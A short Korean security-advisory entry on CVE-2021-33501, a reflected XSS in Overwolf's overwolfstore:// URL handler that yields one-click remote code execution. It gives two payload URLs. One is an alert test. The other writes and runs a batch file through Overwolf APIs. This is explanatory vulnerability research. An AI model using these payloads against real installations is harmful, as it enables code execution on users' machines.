[하루한줄] CVE-2021-33501: Overwolf 1-Click Remote Code Execution

URL

Overwolf 1-Click Remote Code Execution

Target

Overwolf Client 0.169.0.22

Explain

Overwolf는 PC 게임을 위한 확장 프로그램의 개발 프래임워크를 제공하고 유통하는 플랫폼입니다. Overwolf Store의 URL handler에 Reflected Cross-Site Scripting(XSS)을 이용한 원격 코드 실행 취약점이 발견되었습니다. 

overwolfstore://app/apps/<img src=x onerror=alert(document.location)>/4

overwolfstore:// Custum Scheme를 사용하면 웹브라우저를 통해 OverwolfAppstore.exe 프로세스를 실행할 수 있습니다. URL의 category에 해당하는 부분이 오류 메세지의 일부로 responce body에 reflect 되며 Overwolf Store UI의 DOM에 reflect 되므로 XSS 공격이 가능합니다.

overwolfstore://app/apps/<img+src=x+onerror=%22overwolf.io.writeFileContents('C:\\windows\\temp\\d.bat','start%20cmd%20%252fk%20whoami','',false,console.log)%2526overwolf.utils.openUrlInDefaultBrowser('C:\\windows\\temp\\d.bat')%22>/CCCCCC

위는 PoC 코드로 다음과 같은 작업을 합니다.

  1. 누군가 악성 URL에 접속하면 Overwolf Store 응용프로그램이 실행되고 XSS 취약점 트리거.
  2. C:\windows\temp\ 폴더에 악성 batch 파일 생성.
  3. batch 파일 실행